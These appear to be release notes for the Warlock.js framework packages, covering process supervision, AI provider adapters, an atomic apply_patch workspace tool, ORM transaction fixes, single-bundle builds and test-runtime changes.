    • AddedobservationTimeoutMs supervisor option: how long the ownership check waits for a guardian reply (and, on Windows, the process helper). Defaults to 2 s on Linux and 15 s on Windows and macOS; the timeout error now names the option.
    • AddedPlatform defaults for pollIntervalMs: 100 ms on Linux, 500 ms on macOS, 1500 ms on Windows. Explicit values still win.
    • ChangedWindows keeps one long-lived PowerShell helper per supervisor instead of starting PowerShell twice per observation. Observations made together share one query, polling reuses a snapshot up to one interval old, the helper restarts if it dies and closes with stopAll().
    • ChangedOn Windows and macOS the launch gate waits on the guardian's pipe instead of reading the full process identity every 10 ms.
    • FixedStopping a handle immediately after spawn() could fail with ProcessNotOwnedError on Linux while the launcher was replacing itself with the workload. The stop now waits out that moment before verifying ownership.
    • FixedSampling a process that was exiting could report ProcessNotOwnedError from a slightly stale process-table snapshot. A mismatch is now re-read fresh first, and a process that is gone counts as exited.
    • FixedCalling supervisor() a second time in the same process with the same registry and owner (for example from a second copy of the module after a dev hot reload) now returns the live supervisor instead of failing every launch with "Process registry is already in use". Once stopAll() has finished the registry is free and a new supervisor is created. A different owner on the same registry is still refused.
    • FixedMembers failed to start on a busy Windows machine with Process ownership observation timed out. The guardian now replies to the resume request before it launches the workload, so a slow program start no longer counts against the client's timeout.
    @warlock.js/ai-workspaceAdded 5Changed 1
    • Addedapply_patch tool and ws.applyPatch({ patch, dryRun? }): apply a unified diff (plain or git diff style) that modifies, creates, deletes and renames several files in one call. The patch is atomic: every hunk is checked first and the files are written only if all apply, with a rollback if a write fails. Paths go through the workspace jail (.., absolute paths and symlinks out are refused), hunks are matched by context so small line drift is fine, CRLF and LF files keep their line endings, and binary patches or binary target files are refused with a clear error. apply_patch is part of tools.all() and is left out of readonly().
    • AddedWorkspaceEditError.type gains "patch-invalid", "hunk-failed" (with hunkIndex), "binary-file", "file-exists" and "file-missing".
    • AddedparsePatch() and applyHunks() are exported for applying a unified diff to a string without a workspace.
    • AddedapplyPatch is optional on a custom WorkspaceOps: an implementation without it still gets apply_patch and ws.applyPatch(), built on its exists, readFile, writeFile and remove with the same all-or-nothing behaviour (also exported as applyPatchWithOps).
    • AddedApplyPatchInput, ApplyPatchResult and ApplyPatchFileResult types; "applyPatch" joins WorkspaceToolName.
    • ChangedThe package skill description now names the read, write and test tools (makeReadFileTool, makeWriteFileTool, makeRunTestsTool) and the "apply a patch" phrasing, so agents find them from the skill listing alone.
    @warlock.js/ai-openaiAdded 2Changed 2
    • Addedopenai.models() lists the models the key can use from GET /models as ModelInfo[], following pagination. Works on OpenAI-compatible gateways too, with the SDK's provider label. Groq's context_window and active, Mistral's name, description, max_context_length and capabilities, and created_at dates are read when present.
    • AddedOpenAIResponsesModel is exported, and OpenAISDK.compatibleResponses() builds it for vendor packages that serve /v1/responses (used by the xAI adapter). That mode sends store: false and leaves out the OpenAI-only include fields.
    • ChangedOn the direct "openai" provider, a call that carries the hosted web_search tool (or its dated and _preview variants) is now served by the Responses API automatically instead of failing with a 400 on Chat Completions. Calls without it stay on Chat Completions.
    • ChangedHosted web_search now fails with a clear InvalidRequestError, before any request, on models OpenAI documents as unable to search (gpt-3.5*, gpt-4, gpt-4-turbo, gpt-4.1-nano, o1-mini, o1-preview, o3-mini and non-chat ids), on gpt-5* with minimal reasoning, and on a model pinned to api: "chat". Nothing falls back silently.
    @warlock.js/ai-xaiAdded 2Changed 1
    • AddedNative web_search and x_search now work. A call that carries one of those tools is sent to xAI's Responses API (POST /v1/responses) with the same model, key and pricing; every other call stays on Chat Completions. xai.model({ api: "responses" }) sends every call there, and api: "chat" pins Chat Completions (a search tool then throws before any request).
    • Addedxai.models() lists the Grok models the key can use from GET /v1/models as ModelInfo[].
    • ChangedNative search no longer throws "requires the Responses API"; it is routed to it. On a gateway that relabels provider, the switch is not automatic: set api: "responses" on the model.
    @warlock.js/webChanged 2Fixed 1
    • ChangedWith web.moduleBoundary: "warn", each unique module-boundary violation (importer and target) is printed once per dev session instead of on every re-resolve, followed by a count of the repeats that were suppressed (periodically and when the bundle ends). A busy dev session used to print thousands of identical warnings. "error" mode is unchanged.
    • ChangedIn development, web.loaderTimeout defaults to 90 seconds instead of 15, because the first page after a start or a reload also pays for compiling the modules its loaders import. Production keeps 15 seconds, and an explicit web.loaderTimeout always wins.
    • FixedThe first page after a warlock dev restart could fail with PageLoaderTimeoutError (a 504 after about 20 seconds) while the server was still compiling. The loader timeout clock now starts only after a hot reload in progress has finished.
    @warlock.js/ai-anthropicAdded 2
    • AddedThe provider-neutral contextEditing.clearToolResults rule (from the agent's contextEditing option) maps to a clear_tool_uses context edit: afterTokens becomes the input-token trigger, keep the number of tool uses kept and exclude the excluded tools. An explicit providerOptions.anthropic.contextManagement.clearToolUses still wins. The model now reports capabilities.nativeContextEditing.
    • Addedanthropic.models() lists the Claude models the key can use from GET /v1/models as ModelInfo[], following pagination, with release date and token limits when the API reports them.
    @warlock.js/ai-googleAdded 2
    • AddedgoogleSearchBudget(maxQueries) and providerOptions.google.search.budget bound Google Search across the calls of one run. The Gemini API has no per-request search limit, so after each call the adapter adds the unique queries Google reported to the budget and, once it is spent, stops sending the googleSearch tool on later calls (other tools are kept). One call that is already running can still overshoot the budget.
    • Addedgoogle.models() lists the models the key can use as ModelInfo[], with kind from each model's supportedActions, token limits and description.
    @warlock.js/cascadeFixed 2
    • FixedA manual const tx = await driver.beginTransaction() now puts the queries you run afterwards inside the transaction. Before, the transaction was bound only to the driver's own internal step, so on MongoDB your next queries silently ran outside the transaction (no atomicity, and rollback() did not undo them), and on PostgreSQL they ran on other pool connections the same way. Now every query the calling flow runs after await beginTransaction() uses the transaction's session until commit() or rollback(), and runs with no session afterwards. Other requests, timers and jobs running at the same time never see it. transaction(fn) is unchanged.
    • FixedThe standalone cascade migrate loader skips *.spec.* and *.test.* files that sit in the migrations folder, so a test beside a migration is no longer imported and registered as one.
    @warlock.js/fsFixed 2
    • FixedputJsonFile and putJsonFileAsync now write atomically (a temporary file in the same folder, then a rename). A process reading the file during a rewrite used to be able to see a truncated file and fail with Unexpected end of JSON input.
    • FixedAtomic writes on Windows now retry the final rename for about 4 seconds (10 ms doubling to a 150 ms cap) when another process has the target file open, instead of failing after 5 quick attempts with AtomicWriteError (EPERM). Other platforms keep the short schedule. getJsonFileAsync also retries a read that hits a transient EPERM or EBUSY.
    create-warlockChanged 1Fixed 1
    • ChangedThe AGENTS.md of a new project now has an "Upgrading Warlock.js" section: read npx warlock release-notes --from <current version> (bundled in @warlock.js/core, so it works offline), run npx warlock update, follow each release's upgrade notes, then run npx warlock check until it passes. It also explains that a package with several skills arrives as one grouped skill, a router SKILL.md listing its topics with one file per topic to open on demand.
    • FixedA project scaffolded without the web feature no longer fails its first tsc with Cannot find module '@warlock.js/web'. The starter's src/config/web.ts imports a type from @warlock.js/web, so it is now only kept in projects that install web; API-only projects no longer get it, and warlock add sitemap creates it when needed.
    @warlock.js/accessChanged 1
    • ChangedThe package skill description now names cannot, canAll, canAny, authorize and setAccessConfig, so agents find the full checking API from the skill listing alone.
    @warlock.js/ai-bedrockAdded 1
    • Addedbedrock.models() lists the foundation models in the SDK's region through ListFoundationModels as ModelInfo[], with kind from the output modalities. Legacy models are left out. It adds @aws-sdk/client-bedrock as a dependency and needs the bedrock:ListFoundationModels permission.
    @warlock.js/ai-deepseekAdded 1
    • Addeddeepseek.models() lists the models the key can use as ModelInfo[].
    @warlock.js/ai-groqAdded 1
    • Addedgroq.models() lists the models the key can use as ModelInfo[], with contextWindow; models Groq marks inactive are left out.
    @warlock.js/ai-mistralAdded 1
    • Addedmistral.models() lists the models the key can use as ModelInfo[], with contextWindow, description and a kind taken from capabilities.completion_chat.
    @warlock.js/ai-ollamaAdded 1
    • Addedollama.models() lists the models pulled on the daemon from GET /api/tags as ModelInfo[], with the last-modified time as created and embedding models (bert families) as kind: "embedding".
    @warlock.js/ai-toolsAdded 1
    • Addedai.mcp(server, { lint }) sets the development schema-lint option on every adapted remote tool: false silences it, { ignore: [codes] } drops chosen finding codes. Remote schemas are sent as the server wrote them, so the app often cannot act on the findings.
    @warlock.js/sealChanged 1
    • ChangedThe package skill description now names ArrayValidator and the mutator and transform phrasings, so agents find them from the skill listing alone.
    5.39.2
    October 27, 2026

    model.set() takes an object, a check for deep-merged object columns, and a transaction session fix. model.set({ ... }) sets several fields in one call: a top-level key replaces the whole field, a dot-path key such as "settings.theme" writes one leaf, persisted models ignore identity columns, and overlapping keys throw before anything is written; each key and value is typed from the model schema. warlock check adds WL9025, a warning for model.merge({ ... }) on a column the schema declares as an object, record or array of objects, since merge() keeps nested keys the caller removed. Work armed inside transaction() (a timer, a queue, a fire-and-forget promise) that runs after the transaction ended no longer reuses its session: on MongoDB it threw MongoExpiredSessionError, on PostgreSQL it ran on a released pool client; it now runs with no session, outside any transaction, and afterCommit() remains the tool for work that must follow a COMMIT. No breaking changes.

    Full release notes or run npx warlock release-notes.

    @warlock.js/cascadeAdded 1Fixed 1
    • Addedmodel.set({ ... }) accepts an object and sets several fields in one call. Each entry behaves exactly like set(key, value): a top-level key replaces the whole field (objects and arrays are never merged), and a dot-path key such as "settings.theme" writes only that leaf. Casting, dirty tracking and whole-field updates are the same as the single form. Persisted models drop identity columns from the object, as merge() does, and keys that overlap (settings with settings.theme) throw before anything is written. In a typed model each key is a column, a system column or a dot path, and each value is checked against its column type. So set replaces, a dot path targets a leaf, and merge deep-merges. The merge() JSDoc now says that nested objects are deep-merged and that removed keys are kept.
    • FixedWork armed inside transaction() (a setTimeout, a queue, a fire-and-forget promise) no longer reuses the transaction's session after it ended. Before, a Cascade query in that work ran on the finished MongoDB session and threw MongoExpiredSessionError: Use of expired sessions is not permitted, and on PostgreSQL it ran on a pool client that had already been released. Now, once a transaction commits, rolls back or fails, that work runs with no session, outside any transaction: hasActiveTransaction() is false, afterCommit() runs on the next microtask, and transaction() opens a fresh transaction. This covers transaction() on both drivers and MongoDB's beginTransaction(), including retried MongoDB attempts. Use afterCommit() for work that must run after the COMMIT.
    @warlock.js/coreAdded 1
    • Addedwarlock check rule WL9025 (warning): model.merge({ column: {...} }) on a Cascade model whose static schema declares the column as an object, record or array-of-objects validator. merge() deep-merges, so keys the new value omits stay stored; the message suggests set({ column: ... }) or set("column", value). Receivers resolve like WL9021; there is no autofix.
    5.39.1
    October 26, 2026

    Fixes for test-run exits, migrations, standalone builds and log channels. Shutdown of the HTTP test server, warlock start and per-worker test teardown now stops every running @warlock.js/scheduler scheduler, so a suite whose app starts a scheduler while loading no longer waits out Vitest's 10-second close timeout. warlock migrate releases its lock and closes every data source on every exit path (including Ctrl+C / SIGTERM), bounds the MongoDB connect, prints a heartbeat for long migrations, takes an opt-in --timeout, and names the failing migration and step with recovery advice. build.singleBundle no longer bundles Vite listed under devDependencies, keeps build-time tools out of the bundle, stages aliased native packages under the imported name, stages only reachable native packages and warns about ones it cannot copy. LogChannel.ready resolves after a channel's deferred init, and a channel disposed before init no longer arms its flush timer. No breaking changes.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 2Fixed 8
    • AddedA migration that runs long prints still running "<name>", step N of M, <n>s elapsed at 30 s and then every 60 s. Migrations are not aborted by default, so a long index build is never left half-applied.
    • Addedwarlock migrate --timeout <seconds> (or WARLOCK_MIGRATION_TIMEOUT_MS, in milliseconds) opts in to a hard limit per migration. A migration that exceeds it fails with a message naming it, and the command exits 1.
    • Fixedwarlock migrate exited without releasing the migration lock or closing the database client, on success, on failure and on Ctrl+C / SIGTERM. Server-side sessions and the lock document were left behind for the server to expire, so a run started soon after another could stall. It now releases the lock and closes every data source before the process exits on every path (exit 130 / 143 on an interrupt), with a bounded wait so shutdown cannot hang.
    • FixedA failed migration reports which migration (and, on MongoDB, which step) failed, that no ledger row was written, and how to recover.
    • Fixedbuild.singleBundle no longer bundles Vite when an app lists vite under devDependencies. Only dependencies, optionalDependencies and peerDependencies count as declared by the app, so a dev dependency no longer turns a framework's lazy import() into an inlined package (which had grown dist by about 60 MB and staged the rolldown and lightningcss native addons).
    • FixedBuild-time tools (vite, rolldown, lightningcss, esbuild, oxc-parser, @vitejs/*, @babel/* except @babel/runtime, and their platform packages) are never bundled or staged by singleBundle builds when framework code imports them, even when the app lists them under dependencies. They are kept in one list. A third-party library that imports one at module level is still bundled so it keeps working with no node_modules. The throwing stand-in for oxc-parser applies only when the app does not declare it. Imports from your own source files are unaffected.
    • FixedA native package installed under an npm alias ("node-pty": "npm:@lydell/node-pty") is staged in dist/node_modules under the name that is imported (node-pty), not under the real package name, so the import resolves from dist/.
    • FixedNative packages are staged only when the finished bundle still imports them.
    • FixedThe build prints a warning naming a native package it could not copy because its os / cpu / libc exclude the build machine, instead of skipping it silently.
    • FixedThe HTTP test server's shutdown now stops every @warlock.js/scheduler scheduler that is still running. An app that starts a scheduler from a module's boot file (as the scaffolded app does) left a timer armed in the Vitest main process, so a green run ended with close timed out after 10000ms and something prevents N Vite servers from exiting, about ten seconds late. The connectors manager now stops running schedulers, waiting up to app.shutdownTimeout for in-flight jobs, before it tears the connectors down; this also applies to warlock start and other shutdown paths.
    @warlock.js/cascadeAdded 1Fixed 2
    • AddedMigrationRunner warns while a migration runs long (still running "<name>", step N of M, <n>s elapsed, at 30 s and then every 60 s) and never aborts one by default. A hard limit is opt-in: stepTimeoutMs option, setStepTimeout(ms) / getStepTimeout() or the WARLOCK_MIGRATION_TIMEOUT_MS environment variable. A migration or transactional batch that exceeds it fails with a message naming it. MigrationRunner.releaseActiveLocks() releases the migration lock of a run that is being interrupted. New exports StepTimeoutError and withTimeout.
    • FixedA MongoDB migration that failed part-way now says which step failed (step 3 of 5: createIndex on "orders"), how many steps were already applied, that no ledger row was written, and that re-running is safe because index creation is idempotent.
    • FixedMongoDbDriver.connect() is bounded (server selection plus connect timeout, 30 s each by default) and fails with a clear message instead of waiting silently. disconnect() falls back to a forced close when the graceful close stalls for 10 seconds.
    @warlock.js/loggerAdded 1Fixed 1
    • AddedLogChannel.ready: a promise that resolves once the channel's deferred init() has finished. Await it before relying on the channel being set up, for example before removing its storage directory in a test.
    • FixedA FileLog / JSONFileLog disposed before its deferred init() ran still created its directory and armed the 5-second flush interval afterwards, which kept the process alive and could fail with ENOENT when the directory had been removed. A disposed channel now skips init(), including when dispose() lands while init() is creating the directory.
    @warlock.js/schedulerFixed 2
    • FixedA started scheduler is now listed in a process-wide registry until it stops, so the host (@warlock.js/core) can stop it on shutdown. Previously an application that never called shutdown() kept the process alive through the scheduler's tick timer.
    • Fixedshutdown() no longer leaves its timeout timer armed when the running jobs finish first.
    5.39.0
    October 26, 2026

    Standalone builds, release notes in every install and typed-model fixes. build.singleBundle now works with web pages: the server is one dist/app.js that runs with no node_modules, native addons are staged automatically, optional integrations are detected, build-time tools are left out and React runs its production build. webConnector({ build: { chunks, precompress } }) controls the client output (split, merged or single chunks, with or without .br/.gz copies), with a desktop and offline recipe. The release summaries now ship inside @warlock.js/core, read by warlock release-notes (--from, --list, --json) and pointed to by warlock upgrade and warlock update. Typed models accept their system columns (id, timestamps, soft delete) and set() reports value mismatches clearly. Config files no longer walk the app graph at boot, onPageError() registers the error-report hook at runtime, and warlock doctor warns when config imports app code. Browser requests that core refuses on a page host render the site page. New apps and warlock upgrade --check install on npm 10.9. No breaking changes.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 5Changed 2Fixed 12
    • Addedwarlock doctor check config-app-imports: warns when a file under src/config imports (statically or with import()) anything under src/app, naming the file and the import. Type-only imports are not reported.
    • AddedRoute option handlesRefusals and the refusalStatusOf(request) helper. A GET route marked handlesRefusals answers core-level refusals for requests that accept HTML.
    • Addedwarlock release-notes prints the family release summaries that now ship inside the package (releases/<version>-summary.md, 5.30.0 onward). With no arguments it prints the installed version's summary; --from <version> (optionally --to <version>) prints every release after it, oldest first, led by a combined list of breaking changes; --version <v> prints one release; --list lists the versions with dates; --json prints { versions: [{ version, date, breaking, markdown }] }. It reads files only, so it needs no network and no booted app. A version the package does not ship is reported with its GitHub release URL.
    • Addedwarlock upgrade, warlock upgrade --check and warlock update end with What's new: npx warlock release-notes --from <old>, and the AGENTS.md section that warlock agents-md generates names the installed version and the command.
    • AddedThe update-packages, deploy-release and upgrade-from-5-29 skills tell agents to run npx warlock release-notes --from <current> before upgrading.
    • Changed--version and -v print the Warlock version only when no command is given, so a command can take its own --version option.
    • ChangedThe production bundle defines globalThis.__WARLOCK_PRODUCTION_BUNDLE__ as true, so framework branches that only the development server or the build can reach are removed from it together with the modules they import. A build.define entry of the same name overrides it.
    • FixedWL9024 applies to any integration spec (any *.spec.ts or *.test.ts that is not *.unit.*, or anything under tests/), and its fix text now says to rename the file to <name>.unit.spec.ts outside tests/ (it still said *.test.ts to *.spec.ts). This corrects the 5.38.0 note below.
    • Fixedwarlock upgrade --check installs in the scratch copy with npx -y npm@11.6.2 when the npm on PATH is older (npm 10.9 crashes on the family's lockfile with Cannot read properties of null (reading 'edgesOut'), which skipped every later step); --from is inferred from the installed @warlock.js/core.
    • FixedLoading config files walked every module the config reached. loadConfigFiles registered each config file together with its whole transitive import graph (dynamic import() included), file by file, in every process that loads config. A config such as src/config/web.ts whose errors.report imported an application service made each test worker spend minutes in setup; the walk grew with the size of the application (about 480 seconds for a 3,000-module graph, measured). Config files are now registered with their direct import edges only; the dev server still builds the full graph from its own scan.
    • FixedA request core refuses before routing answered raw JSON to a browser: a dot-segment or path-traversal path on the public mount (/public/../x, 403) and a malformed URL (400). When the app has a route marked handlesRefusals (the web package's page catch-all), a GET or HEAD request that accepts text/html is handed to it; other requests keep the JSON answer.
    • Fixedbuild.singleBundle now builds an app that uses @warlock.js/web: the server pages and routes are inlined into dist/app.js, and node dist/app.js starts from a copy of dist/ with no node_modules above it.
    • FixedOptional integrations need no hand-written external list. In a singleBundle build, a lazy import() or require() of an optional peer (or optional dependency) that a framework package lists and the app does not declare stays a lazy runtime import that never runs, and the build report names it. An import the app itself makes, or a package the app declares, is still bundled or fails the build.
    • FixedNative addons are handled automatically in a singleBundle build. A package with a .node binary (or a napi loader whose platform package holds one) stays external and is copied into dist/node_modules/<package> with only what it needs to load: its JavaScript, binaries and data files, the dependencies it loads and the platform packages that match this machine. The build report names each one.
    • Fixedwarlock build prints the number of files and the total size of dist/ when it finishes.
    • FixedA singleBundle build settles process.env.NODE_ENV to "production" inside react, react-dom and scheduler only, so React's development build is dropped from the bundle. A process.env.NODE_ENV entry in build.define turns this off. Other reads of NODE_ENV are untouched.
    • FixedIn a singleBundle build the native parser oxc-parser, imported by framework code that only the build, check and scan commands call, is replaced by a module that throws if it is ever called. The build names it, and dist/node_modules is created only for native packages the app itself uses.
    • Fixedwarlock build in a source checkout runs the route-registration child from its TypeScript source through the CLI loader when the compiled child is absent, instead of failing.
    • FixedA singleBundle build failed on react-dom/server.node: the native-addon plugin took any import specifier ending in .node for a compiled addon. It now treats only a path that resolves to a real .node file as one.
    @warlock.js/webAdded 1Fixed 5
    • AddedonPageError(hook), exported from @warlock.js/web/connector: registers a server error-report hook at runtime, from a module's main.ts. It receives the same (error, context) as web.errors.report, runs through the same bounded fire-and-forget queue next to it, and returns a function that removes it. Use it instead of importing application code into src/config/web.ts. Exports the PageErrorHook, PageErrorInfo and PageErrorKind types.
    • FixedA core-level refusal on a page host answered raw JSON in a browser: /public/../x (403, dot-segment guard) and a malformed URL (400). A GET or HEAD request that names text/html in Accept now renders the site's forbidden.page.tsx for 401 and 403, otherwise error.page.tsx, then the framework fallback page, with the refused status. In multi-site mode the site is chosen by host as for any page. API clients and other requests keep the JSON answer.
    • FixedConnector build options webConnector({ build: { chunks, precompress } }). chunks is "split" (the default: a React vendor chunk, the entry, a lazy chunk per page and shared chunks), "merged" (the same lazy page loading with small shared chunks packed together by size, far fewer files) or "single" (one JavaScript entry and one stylesheet, dynamic imports inlined; single-site apps only). precompress: false skips the .br and .gz copies of every client asset (default true). Final-bytes chunk names, dedupe, the integrity check, preload lists and payload budgets work in every mode. build.singleBundle in core does not change them; the desktop and offline app recipe sets both.
    • FixedExports from @warlock.js/web/vite: ClientChunkMode, resolveClientChunkMode and clientCodeSplitting; buildHydrationClient takes chunks.
    • FixedA production server built with singleBundle carried Vite and the development server inside app.js, through the connector's build contribution and its development-server branches. The page scanner and the Babel parser came in the same way, through the development page installer and the server barrel the production installer loaded. All of them are left out of the production bundle, and the server never loads Vite.
    • FixedA build copied away from its project could not find its client bundle: the page manifest stored dist/client relative to the working directory. When a client folder sits next to the running bundle it is used, so node app.js works from any working directory in a copy of dist/.
    @warlock.js/cascadeFixed 2
    • Fixedget() and set() on a model declared with a schema type accept Cascade's system columns without declaring them: id (number), _id, created_at / updated_at (Date), deleted_at (Date | null) and their camelCase spellings. A column the schema declares keeps its own type, so a renamed timestamp or a string id goes in the schema. New ModelSystemColumns and ModelColumns types.
    • Fixedset(key, value) with a wrong value type now reports the value mismatch instead of a misleading error about dot paths. A column named at runtime is set with a key typed K extends ModelKey<Schema>.
    create-warlockFixed 1
    • Fixednpm install in a fresh scaffold no longer crashes on npm 10.9 (the npm bundled with Node 22) with Cannot read properties of null (reading 'edgesOut'): the template pins Vitest 5.0.5, because the Vitest releases before it trip that npm bug on their own. The edgesOut hint stays as a last resort.
    5.38.0
    October 25, 2026

    Persistent request log, faster test runtimes, stable chunk names and typed models. http.logging.requests writes one redacted record per request, read by devtools (history, copy as curl), warlock logs and the MCP request_log tool, and every 5xx is logged once as request.<phase>. New apps run tests with worker lifetime and per-file resets, *.unit.spec.ts files run without booting the app, the HTTP test server closes the web connector's Vite servers, and tests.profileSetup prints a per-phase boot profile. Production chunks are named after their final bytes, identical chunks are merged, builds check integrity against the previous build and enforce payload budgets. Seal keeps optional enums and literals nullable in openai-strict and names unlabelled fields in words; AI tools get per-provider schema lint, a tool-use contract, eval scorers and agent traces in devtools. Page routes render a per-site forbidden.page.tsx instead of JSON for 401/403, warlock upgrade --check rehearses upgrades, warlock doctor renders each site, typed capabilities and inspect --section wiring show auto-loaded wiring, and *.client.ts(x) is an enforced client-only boundary. Breaking: typed models type get() and set() from their schema.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 12Changed 13Fixed 19
    • AddedTest file convention: *.unit.spec.ts and *.unit.test.ts run in the Vitest unit project (no setup files, no app boot, threads pool); every other *.spec.ts and *.test.ts, and anything under tests/, runs in the integration project. guardUnitProject() checks the .unit. files, and WL9024 now flags any integration spec that never touches the app and suggests renaming it to <name>.unit.spec.ts. Existing apps keep their own globs; the 5.38 upgrade note and the test-runtime-worker-lifetime step list how to adopt the convention.
    • AddedValidation messages name a field without a translated label in words: max_dumbbell_kg reads "Max dumbbell kg" and firstName reads "First name" instead of the raw key. Labels under attributes.<field> still win, and validation.attributes.<field> is read too when validation.attributeGroup is not set. Only the validated field and sibling fields a rule refers to are turned into words. validation.humanizeAttributes: false keeps the raw key.
    • Addedwarlock doctor check validation-labels (WL4002), off by default: with validation.warnMissingLabels: true it lists request-schema fields that have no label in a locale of app.localeCodes.
    • Addedwarlock check rule WL9021 (warning): a Cascade column read or written as a model property (user.email). It recognises instances from new User(), the single-record finders (find, first, create, ...), a User annotation and this inside a model class, and compares the name with the keys of the model's static schema when they can be read statically. warlock check --fix rewrites reads to model.get("column") and plain model.column = value; statements to model.set("column", value).
    • AddedEvery 5xx the HTTP layer answers writes one error-level log record (module: "http", action: "request.<phase>"), once per request, in the same shape as the page-failure record of @warlock.js/web: name, message, stack, phase (csrf, middleware, validation or handler), file (the routes file), routeName, routePath, handler, middleware (the middleware that threw), method, pathname (no query string), requestId and statusCode. It covers throws from route middleware, request validation and controllers, and a 5xx a handler returned without throwing; a returned 503 is treated as an intentional answer and not logged. A 4xx is never logged as an error. With no log channel configured the failure still goes to console.error.
    • AddedIn development the JSON error body of a thrown error and of the opaque 500 includes requestId. Production bodies are unchanged.
    • AddedPersistent request log, http.logging.requests: one redacted JSON record per request, written after the response is sent through buffered logger channels. A record holds the id and trace id, time, method, URL (credential query values masked), route name and pattern, params, query, headers, body, session: { userId, userType }, IP, status, duration, response size (and headers and body when include.response is on), phases, the log entries emitted during the request, a query summary (count, slowest query, N+1 findings) and, for a 5xx or a request that threw, the error with its stack, phase, page file and site. RequestLogRecord, listRequestLogs(), getRequestLog(), requestLogToCurl() and compileRequestLogFilter() are exported.
    • Addedhttp.logging.requests options: enabled (default on in development, off elsewhere), channels (logger channel names or instances; default a daily JSON-lines file storage/logs/requests/YYYY-MM-DD.jsonl), only ("all", "errors", "slow"; default "all" in development and "errors" elsewhere), slowMs, sampleRate (errors are always kept when only includes them), include (headers, body, query, params, session, response, stack, logs, queries, phases), maxBodyBytes (default 16 KB, a larger body ends with a truncation marker) and retention: { maxDays, maxSizeMb } for the default file channel, which prunes on boot and when a new day's file starts.
    • AddedOutside development the request log records request headers through an allowlist, and leaves the request and response bodies out unless include.body / include.response is set. The logger's redaction, http.logging.private URL rules and a route's logging: { body: false, query: false } apply to every record, and uploaded files are recorded as { file, mimeType } only.
    • Addedwarlock logs requests [--status 5xx|404] [--route name] [--since 1h] [--limit n] [--json] lists persisted requests and warlock logs request <id> [--json] prints one in full. Neither boots the app.
    • AddedMCP tool request_log (read-only): lists persisted requests with status, route, method, since, q and limit filters, or returns one full record by id.
    • AddedSkill request-log.
    • Changedwarlock add test generates the new layout: the unit project includes src/**/*.unit.{spec,test}.ts, and integration includes src/**/*.{spec,test}.ts, src//tests//*.{test,spec}.ts and tests/**/*.{test,spec}.ts, excluding *.unit.*. An existing vite.config.ts is never overwritten.
    • ChangedThe three separate error-level entries for a 5xx (request-error, model-write-validation-error and unhandled-request-error) are replaced by the single record above. The per-request http.log line is unchanged.
    • ChangedsetupTest({ lifetime: "file" }) opts one file out of a worker-scoped runtime (tests.lifetime: "worker"). The worker's shared runtime is shut down, the file boots a fresh one that its own teardownTest() closes, and the next file returns to the worker lifetime. Use it for a spec that changes global configuration the per-file reset does not undo.
    • ChangedA worker-scoped runtime now resets more between files, in addition to the database and the fakes: test HTTP servers left open are closed, the request context is cleared, the route table returns to the snapshot taken after the app booted (routes a file registered by hand are removed, the app's own stay), and a real in-memory cache driver is flushed. router.captureBootSnapshot() and router.restoreBootSnapshot() are the router side of it.
    • ChangedPer-phase boot profile. With tests.profileSetup: true or WARLOCK_TEST_PROFILE=1, each file's profile also carries one connector.<name> entry per connector (boot() plus start()) and appModules, startHttpTestServer() prints and publishes its own phases, and TestSetupReporter prints the phases (config, translations, connectors, fakes, routes, reset, teardown), each connector, the HTTP test server's boot and the slowest files in the run summary. WARLOCK_TEST_PROFILE_JSON=<path> or new TestSetupReporter({ json, slowest }) also writes the profile as JSON. connectorsManager.observeTimings() exposes the connector timings.
    • ChangedguardUnitProject() in @warlock.js/core/vite: a plugin for the Vitest unit project that fails a spec importing a connector, connectorsManager, bootstrap or a test-server helper, or calling setupTest() without { mode: "unit" }, with a message naming the import and pointing to the integration project. setupTest() outside unit mode also throws when WARLOCK_TEST_PROJECT=unit.
    • Changedwarlock check reports WL9024 (a warning) for an integration spec (*.test.ts, or a spec under tests/) that imports nothing needing the app, with the hint to move it to the unit project.
    • ChangedUpgrade codemod test-runtime-worker-lifetime lists where an existing app can opt in to the worker lifetime (src/config/tests.ts without a lifetime) and a unit project without guardUnitProject(). It edits nothing; existing apps keep their test configuration. The 5.38 upgrade note says the same.
    • Changedwarlock add test generates the worker lifetime as the default: src/config/tests.ts sets lifetime: "worker" and resetDatabase: true unless WARLOCK_TEST_LIFETIME=file, the integration project has isolate: false from the same variable, and the unit project runs in threads with guardUnitProject(). Existing files are never overwritten.
    • ChangedAuto-loaded utils/locales.ts is deprecated. The development and production-build warning now names every legacy file, and WL9101 already lists them in warlock doctor. Removal is planned for v6, not this release; move to utils/locales.json with warlock doctor --fix.
    • ChangedThe starter template (create-warlock) ships JSON dictionaries (app/auth/utils/locales.json, app/shared/utils/locales/*.json) instead of utils/locales.ts.
    • ChangedThe console.error fallback for an unhandled request error, used when no log channel is configured, ignores passive channels (see LogChannel.passive in @warlock.js/logger), so the request log's log collector never silences it.
    • Changedwarlock ai no longer marks --model as required in its option list; warlock ai measure still requires it and reports a missing value.
    • FixedLoading warlock.config.ts keeps @warlock.js/* imports external even when the project's tsconfig paths maps them to local source (a monorepo checkout). The config bundle used to inline a second copy of core and the web connector, whose container never held the application's HTTP server.
    • FixedThe HTTP test server (startHttpTestServer()) registers the connectors warlock.config.ts declares, as warlock dev does. The web connector was never started under it, so a page request answered 404.
    • FixedA test run that booted the web connector no longer ends with something prevents 2 Vite servers from exiting and close timed out after 10000ms. stopHttpTestServer() and the worker teardown shut the web connector down even when it had booted but not started, closing Vite, its HMR websocket and its file watchers, and teardown names any connector still active afterwards.
    • FixedThe 5.36 upgrade note and the testing docs and skills now say that Vitest 5's clearMocks: true default also clears calls a module made when it was imported (a scheduler registering jobs from a main.ts), before the first test runs. Import the module inside the test, or set clearMocks: false.
    • Fixedwarlock upgrade --check: rehearses an upgrade on a scratch copy of the app and never writes the real project. The project (without node_modules, .git and storage) is copied to a temporary directory, the upgrade (package.json and codemods) is applied there, dependencies are installed there with the app's package manager, and typings, typecheck, warlock doctor and the unit Vitest project run against the result. The report lists the breaking changes that hit the app and the outcome of each step. Every child process runs one at a time, at low priority, with a heap cap (--memory-mb, default 4096) and a time limit (--timeout-minutes, default 20); --skip-install applies the upgrade to the copy and stops there, and --keep leaves the copy on disk. Exit code 1 when a step failed.
    • Fixedwarlock doctor check sites: in an app with web.sites, renders the root page of every site with fixed hostnames through the development page pipeline, in this process with no port, and fails (WL5005) with the status, the phase and the page file of any 5xx.
